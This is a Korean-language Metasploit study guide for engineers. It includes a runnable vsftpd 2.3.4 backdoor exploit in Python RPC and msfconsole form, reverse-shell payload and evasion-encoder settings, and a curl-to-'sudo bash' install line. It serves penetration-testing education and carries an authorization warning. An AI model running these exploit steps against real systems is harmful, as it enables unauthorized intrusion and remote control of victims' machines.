Metasploit Framework 실무 스터디 가이드

데이터 엔지니어 · AI 엔지니어를 위한 핵심 요약

#pentest #exploitation #red-team v6.4 2026.03

1. Metasploit Framework란?

Metasploit Framework는 침투 테스트(Pentest)와 취약점 분석을 위한 오픈소스 플랫폼입니다. Rapid7이 유지보수하며, 전 세계 Red Team과 보안 연구원이 사용하는 사실상의 표준 도구입니다. Python, Ruby, C 등 다양한 언어로 작성된 모듈을 통해 공격 코드 개발, 페이로드 생성, 포스트 익스플로잇을 자동화합니다.

다음은 Metasploit의 3대 핵심 능력입니다.

🔍 Exploit 개발

취약점에 맞는 익스플로잇 모듈을 검색·선택·실행. 원격 코드 실행(RCE), 권한 상승 등 다양한 공격 벡터 지원.

📦 Payload 생성

reverse shell, bind shell, Meterpreter 등 목적에 맞는 페이로드를 동적으로 생성. 인코딩, 난독화 기능 내장.

🛠️ Post-Exploitation

타겟 장악 후 정보 수집, 크리덴셜 덤프, 지속성 유지, 측면 이동 등 고급 작업을 모듈화.

2. 왜 써야 하는가?

기존의 수동 익스플로잇이나 상용 도구(Core Impact, Canvas)와 비교할 때 Metasploit은 오픈소스, 방대한 모듈 저장소, 커뮤니티 지원이라는 강점을 가집니다. 특히 AI 보안 엔지니어에게는 자동화 파이프라인에 통합하기 쉬운 msfrpc Python API가 큰 장점입니다.

비교 항목 Metasploit Core Impact 수동 익스플로잇
라이선스 오픈소스 (BSD) 상용 (고가) N/A
모듈 수 2,000+ ~500 제한적
Python API ✅ msfrpc ❌ 제한적 ❌
자동화 친화도 높음 (REST, RPC) 중간 낮음
커뮤니티 매우 활성 폐쇄적 개인 의존

💡 AI 엔지니어 포인트: Python pymetasploit3 라이브러리를 사용하면 ML 기반 취약점 스코어링 파이프라인에 Metasploit을 쉽게 통합할 수 있습니다.

3. 핵심 개념

Metasploit의 아키텍처는 msfconsole을 중심으로 모듈, 페이로드, 리스너가 유기적으로 연결됩니다.

┌─────────────────────────────────────────────────────┐ │ msfconsole │ │ (Ruby REPL + 명령어 인터페이스) │ └──────────┬──────────────────────┬──────────────────┘ │ │ ┌──────────▼──────────┐ ┌────────▼──────────┐ │ Modules │ │ Payloads │ │ ┌──────────────┐ │ │ ┌─────────────┐ │ │ │ exploit/ │ │ │ │ windows/ │ │ │ │ auxiliary/ │ │ │ │ linux/ │ │ │ │ post/ │ │ │ │ generic/ │ │ │ │ encoder/ │ │ │ │ meterpreter/│ │ │ └──────────────┘ │ │ └─────────────┘ │ └─────────────────────┘ └─────────────────────┘ │ │ ┌──────────▼──────────────────────▼──────────┐ │ Target (victim) │ │ ┌──────────────────────────────────────┐ │ │ │ exploit → payload → session │ │ │ │ (Meterpreter / shell) │ │ │ └──────────────────────────────────────┘ │ └─────────────────────────────────────────────┘ │ ┌──────────▼──────────┐ │ Listener │ │ (handler/multi) │ └─────────────────────┘

주요 구성 요소:

4. 퀵스타트

4.1 설치 (Linux / macOS)

# 패키지 매니저로 설치 (Kali Linux 기본 포함)
sudo apt update && sudo apt install metasploit-framework

# 또는 GitHub에서 직접 설치
curl -L https://raw.githubusercontent.com/rapid7/metasploit-framework/master/msfupdate | sudo bash

4.2 데이터베이스 설정

# PostgreSQL 시작 및 초기화
sudo systemctl start postgresql
sudo msfdb init

# 상태 확인
msfdb status

4.3 첫 번째 익스플로잇 예제 (Python + msfrpc)

Python으로 Metasploit RPC를 제어하여 간단한 익스플로잇을 실행합니다.

# pip install pymetasploit3
from pymetasploit3.msfrpc import MsfRpcClient

# 로컬 msfrpcd에 연결 (기본 포트 55553)
client = MsfRpcClient('your_password', port=55553)

# 익스플로잇 모듈 로드
exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
exploit['RHOSTS'] = '192.168.1.100'
exploit['RPORT'] = 21

# 페이로드 설정
payload = client.modules.use('payload', 'cmd/unix/interact')
exploit.payload = payload

# 실행
result = exploit.execute()
print(f"Session created: {result}")

4.4 CLI로 동일 작업

msfconsole -q
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.1.100
msf6 > set RPORT 21
msf6 > set PAYLOAD cmd/unix/interact
msf6 > run

⚠️ 주의: 실제 환경에서 허가 없이 익스플로잇을 실행하는 것은 불법입니다. 반드시 자체 테스트 환경 또는 공인된 모의훈련에서만 사용하세요.

5. 핵심 설정 레퍼런스

익스플로잇 실행 전 반드시 설정해야 하는 주요 옵션입니다.

옵션 설명 예시 값
RHOSTS 타겟 IP 또는 호스트 (여러 개 가능) 192.168.1.0/24
RPORT 타겟 포트 445 (SMB)
LHOST 공격자 IP (리버스 연결 수신) 10.0.0.5
LPORT 공격자 리스너 포트 4444
PAYLOAD 사용할 페이로드 모듈 windows/x64/meterpreter/reverse_tcp
TARGET 타겟 OS/버전 (0부터 시작) 0 (자동)
ENCODER 페이로드 인코딩 (우회용) x86/shikata_ga_nai

🔧 팁: show options 명령어로 현재 모듈의 모든 설정 가능한 옵션을 확인하세요.

6. 실무 팁 & 트러블슈팅

자주 겪는 문제와 해결책

문제 원인 해결책
DB 연결 실패 PostgreSQL 미실행 또는 msfdb 미초기화 sudo systemctl start postgresql && sudo msfdb init
페이로드 생성 실패 아키텍처 불일치 / 인코더 문제 show payloads로 호환 목록 확인, set ENCODER generic/none 시도
세션 수신 안 됨 방화벽 / NAT / LHOST 오설정 LHOST를 공인 IP로 설정, 리스너 포트 방화벽 오픈, check 명령어로 사전 점검
모듈 검색 안 됨 데이터베이스 캐시 문제 db_rebuild_cache 또는 msfupdate 실행
Python RPC 연결 거부 msfrpcd 미실행 또는 비밀번호 불일치 msfrpcd -P your_password -S 로 데몬 실행

실무 꿀팁

7. 참고 자료

📚 추가 학습: Metasploit의 post/ 모듈과 auxiliary/ 스캐너를 직접 분석해보면 실력 향상에 큰 도움이 됩니다.